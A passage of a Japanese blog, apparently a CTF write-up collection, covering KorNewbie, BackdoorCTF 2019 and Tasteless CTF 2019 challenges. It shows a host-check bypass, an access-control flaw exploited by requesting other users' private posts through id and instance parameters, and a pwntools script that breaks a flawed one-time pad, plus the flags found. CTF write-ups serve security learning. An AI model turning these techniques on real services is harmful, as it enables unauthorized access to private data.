CyberChefで変換してみると、文字列（cr34t1v3）が現れました。

よって、フラグは、KorNewbie{cr34t1v3}となります。

FLAG

KorNewbie{cr34t1v3}

Normal_Host（Web）

問題

This is Just a Normal Host! Can you hack?
Author: Y311J(신재욱)
LINK

解答例

問題文のリンクにアクセスすると、以下のページが表示されました。

上記のページに書かれている通り、normalflag.iwinv.netと入力して、Connect!をクリックしてみました。 すると、以下のようにエラーが表示されてしまいました。

試しにnormalflag.iwinv.net:80と入力してみると、チェック機能を回避できたようです。 以下のようにフラグが表示されました。

FLAG

KorNewbie{H0$7_$P1it_A774cK_U$3s_N0RM^liZ47ioN&##$%%!}

BackdoorCTF 2019 Writeup

BackdoorCTF 2019 について

BackdoorCTF 2019 が開催されました。
2019年10月27日午前0時30分～2019年10月28日午前0時30分（24時間）

backdoor.sdslabs.co

同日に Tasteless CTF 2019 もあり、あまり問題を見れていませんが、難易度高めのCTFだと思います。 今回もチームで参加しました。チームのメンバが2問解いてくれました。 結果は、30/205位で376点でした。 私も1問だけ解くことができたので、そのWriteupを紹介します。

同日に Tasteless CTF 2019 も開催されていました。 こちらも同時に参加していました。Writeupを書きましたので、参考にしてみてください。

tsalvia.hatenablog.com

BackdoorCTF 2019 Writeup（1問）

meow-1（web）

問題

Can you get all the flags???
Source: http://backdoor.static.beast.sdslabs.co/static/meow/dist.zip
Link: http://51.158.118.84:16001/
Created by: Faizal Hasanwala

解答例

http://51.158.118.84:16001/ に接続すると、ログイン画面が表示されます。

適当にアカウントを作成し、ログインしてみるとTwitterのようなページが表示されました。 ツイートのようなこともできそうです。

また、下のほうのツイートを見てみると、公式アカウントのようなアカウントがプライベート限定のツイートをしているようです。

今回は、ソースコードがすべて提供されているので、読んでみます。 app.pyを見てみると、以下のような処理がありました。 idとinstance を指定して、呼び出すと該当するツイートをデータベースから取得して表示するようになっています。

# 省略

@app.route('/post')
@ensure_csrf
@login_required
@apply_csp
def view_post(request):
    if request.method == 'GET':
        post_id = request.args.get('id')
        instance = request.args.get('instance')
        success, post = get_post(session, post_id, instance)
        if success:
            return render_template('post.html',
                                   post=post,
                                   csrf=request.session['csrf'])
        else:
            return render_template('404.html')

# 省略

また、db.pyのget_postを見てみると、以下のようになっており、プライベートのツイートかどうかを判断しているように見えません。

# 省略

def get_post(session, post_id, instance):
    post = session.query(Post).filter_by(id=post_id,
                                         instance=instance).first()
    if not post:
        return (False, 'Post does not exist')

    poster = session.query(User).filter_by(username=post.posted_by).first()

    res = {'posted_by': post.posted_by, 'posted_name': poster.name,
           'content': post.content, 'preview': post.preview,
           'link': post.link, 'instance': post.instance,
           'id': post.id}

    return (True, res)

# 省略

idとinstanceが分かれば、任意のツイートを読み出すことができそうです。 開発者モードで見ていると、そのまま書かれていました。

idとinstanceが判明したので、実際にアクセスしてみると、自分のツイートを参照することができました。
アクセス先：http://51.158.118.84:16001/post?instance=a8e46c63-6e31-4445-bd80-3218275130e8&id=2112

公式アカウントのプライベート限定ツイートも同様の手順で参照してみました。 下から3つ目のツイートを参照してみると、フラグが書かれていました。
アクセス先：http://51.158.118.84:16001/post?instance=a8e46c63-6e31-4445-bd80-3218275130e8&id=2104

FLAG

BackdoorCTFでは、出てきたフラグのSHA256のハッシュ値を求めて、その結果を解答する必要があります。 以下のように実行して得られたハッシュ値が正解となります。

$ echo -n "flag{463048332a5a102f091f5620dfa6a261}" | sha256sum
2929e0dcbae938d2bfd5533c6ae0f0406aa5d444f81dfadbd2a5b2d4fc6046b6  -

2929e0dcbae938d2bfd5533c6ae0f0406aa5d444f81dfadbd2a5b2d4fc6046b6

Tasteless CTF 2019 Writeup

Tasteless CTF 2019 について

Tasteless CTF 2019 が開催されました。
2019年10月26日午後9時～2019年10月27日午後9時（24時間）

ctf.tasteless.eu

このCTFも難易度の高い問題が多かったです。色々問題を見ていましたが、チュートリアル問題も含めて結局2問しか解くことができませんでした。 一応今回もチームで参加しました。結果は、47/157位で155点でした。 今回、私が実際に解いた2問のWriteupを紹介します。

同日にBackdoorCTF 2019も開催されていました。 こちらも同時に参加していました。Writeupを書きましたので、参考にしてみてください。

tsalvia.hatenablog.com

Tasteless CTF 2019 Writeup（2問）

sanity（misc）

問題

this challenge is protected.
hitme.tasteless.eu:10001

protected challenges will require a proof-of-work like this:
sha1(abc123, input) prefix = 00000...

you need to respond with a single line suffix to abc123, so that sha1(abc123[input]) has a 00000 prefix example: sha(abc12344739190).hexdigest = 000000872D5625DEE5FD0EA44B230D7A98C1B2CA

you can use go run pow.go abc123 00000 or python pow.py abc123 00000 to generate your own. the pow binary is go, compiled for linux/amd64.

• pow
• pow.go
• pow.py

解答例

Tasteless CTF のチュートリアル問題です。 このCTFは、少し変わっていて、netcatで接続する問題にプロテクトがかかっている場合があります。 他のCTFと同じようにnetcatで接続するだけでは、問題にたどり着くことができません。

netcatで接続してみると、以下のようになります。

$ nc hitme.tasteless.eu 10001
sha1(cf27ff1e75faba1c, input) prefix = 00000...

Tasteless CTFは、接続用のツールを提供しており、これを使って問題を解いていく必要があるようです。 ヘルプを見ると以下のように表示されます。

$ ./pow
usage

solve args:
Usage: ./pow <prefix> <hash>
Usage: ./pow d616656ece36eb66 00000

solve serverresponse:
Usage: ./pow '<serverresponse>'
Usage: ./pow 'sha1(d616656ece36eb66, input) prefix = 00000...'

netcat mode:
Usage: ./pow connect <host> <port>
Usage: ./pow connect hitme.tasteless.eu 10001

server mode:
Usage: ./pow listen <addr> <host> <port>
Usage: ./pow listen :12345 hitme.tasteless.eu 10001

実行すると、フラグが表示されました。

$ ./pow connect hitme.tasteless.eu 10001
welcome! tctf{are_y0u_readdddyyyy}

FLAG

tctf{are_y0u_readdddyyyy}

babypad（crypto）

問題

We heard this kind of enription is super securr, so we'll just give you the flag encripted!
nc hitme.tasteless.eu 10401
$ sha1sum chall.c
d64fc2e2f979b693696efe1762e18153df1b6170 chall.c
Author: plonk

chall.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

int main() {
    char *plaintext = NULL;
    char *one_time_pad = NULL;
    char *ciphertext = NULL;
    size_t flag_length = 0;
    FILE *flag = fopen("flag.txt", "r");
    FILE *urandom = fopen("/dev/urandom", "r");
    assert(flag && urandom);

    /*
     * Get flag length, and allocate memory for the plaintext,
     * one-time pad and ciphertext.
     */
    fseek(flag, 0, SEEK_END);
    flag_length = ftell(flag);
    rewind(flag);

    plaintext = malloc(flag_length + 1);
    one_time_pad = malloc(flag_length + 1);
    ciphertext = malloc(flag_length + 1);
    assert(plaintext && one_time_pad && ciphertext);

    /* Read the plaintext and the one-time-pad */
    fread(plaintext, flag_length, 1, flag);
    fread(one_time_pad, flag_length, 1, urandom);
    plaintext[flag_length] = '\0';
    one_time_pad[flag_length] = '\0';

    /* Make sure that the one-time-pad isn't too short. */
    assert(strlen(plaintext) == strlen(one_time_pad));

    for (int i = 0; i < flag_length; i++) {
        ciphertext[i] = plaintext[i] ^ one_time_pad[i];
    }

    fwrite(ciphertext, flag_length, 1, stdout);
    return 0;
}

解答例

この問題は、ソースコードが提供されました。 読んでみると、以下のような処理を行っていました。

1. flag.txtのデータサイズを求める。
2. flag.txtのデータサイズ+1の長さのバッファ（plaintext、one_time_pad、ciphertext）を3つ確保する。
3. flag.txtからデータを読み出し、plaintextに格納する。
4. /dev/urandomからデータを読み出し、one_time_padに格納する。
5. plaintextとone_time_padを1文字ずつ取り出して、それぞれをXOR演算し、ciphertextに格納する（flag.txtのデータサイズ分繰り返す）。
6. ciphertextを標準出力に出力する。

ただし、よく読んでみると、以下のような処理が確認できます。 C言語のstrlenは、Null文字までの文字数を返す関数です。 そのため、/dev/urandomから読み出したデータに\0が含まれる場合、ここでエラーとなり終了してしまいます。

/* Make sure that the one-time-pad isn't too short. */
assert(strlen(plaintext) == strlen(one_time_pad));

実際にコンパイルして、何度か実行していると想定箇所で終了しました。

$ gcc chall.c
$ ./a.out
a.out: chall.c:35: main: Assertion `strlen(plaintext) == strlen(one_time_pad)' failed.
Aborted (core dumped)

よって、XORキーには、0x00が含まれないということが分かりました。 そのため、何度もXORで暗号化された文字列を取得し、0x01~0xFFで復号していけば絞り込むことができそうです。

以下のようなスクリプトを作成し、復号パターンを絞り込んでいきました。

from pwn import *
import string

def check_dec_pattern(pattern, enc_flag, offset):
    new_pattern = ""
    for key in range(1, 0x100):
        ch = chr(enc_flag[offset] ^ key)
        if ch in pattern:
            new_pattern += ch
    return new_pattern

def get_enc_flag():
    while True:
        context.log_level = "error"
        con = remote("hitme.tasteless.eu", 10401)
        enc_flag = con.recvall()
        if len(enc_flag) > 0:
            return enc_flag

def main():
    max_len = len(get_enc_flag())

    pattern_list = []
    for _ in range(max_len):
        pattern = string.ascii_letters + string.digits + string.punctuation
        pattern_list.append(pattern)

    loop_end = False
    while loop_end == False:
        enc_flag = get_enc_flag()

        loop_end = True
        for i in range(max_len):
            new_pattern = check_dec_pattern(pattern_list[i], enc_flag, i)
            pattern_list[i] = new_pattern
            if len(new_pattern) > 1:
                print(len(new_pattern), end=", ")
                loop_end = False
            else:
                print(new_pattern, end=", ")
        print()
    
    print("".join(pattern_list))

if __name__ == "__main__":
    main()

結構時間がかかりましたが、完全に復号することができました。

$ python solve.py
93, 94, 93, 94, 94, 93, 94, 94, 94, 94, 94, 94, 93, 94, 93, 94, 94, 93, 94, 93, 94, 93, 94, 93, 93, 94, 94, 94, 94, 93, 94, 94, 93, 94, 94, 94, 94, 
92, 93, 93, 93, 94, 93, 93, 94, 93, 94, 93, 93, 93, 94, 92, 93, 94, 92, 94, 93, 94, 93, 93, 93, 92, 94, 94, 94, 93, 92, 94, 94, 92, 93, 93, 94, 94, 
91, 93, 93, 93, 94, 93, 93, 94, 92, 94, 93, 93, 92, 93, 92, 93, 94, 91, 94, 92, 94, 92, 93, 92, 91, 94, 93, 93, 93, 92, 94, 93, 92, 93, 93, 94, 93, 
90, 92, 92, 93, 94, 92, 92, 93, 92, 94, 92, 92, 92, 92, 92, 93, 94, 91, 93, 91, 94, 92, 93, 91, 91, 94, 92, 93, 93, 92, 94, 92, 91, 92, 92, 94, 93,

# 省略

t, c, t, f, {, p, 1, z, _, u, s, 2, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , 
t, c, t, f, {, p, 1, z, _, u, s, 2, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , 
t, c, t, f, {, p, 1, z, _, u, s, 3, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , 
tctf{p1z_us3:4ll-t3h_by7e5>0n3_tim3}

FLAG

tctf{p1z_us3:4ll-t3h_by7e5>0n3_tim3}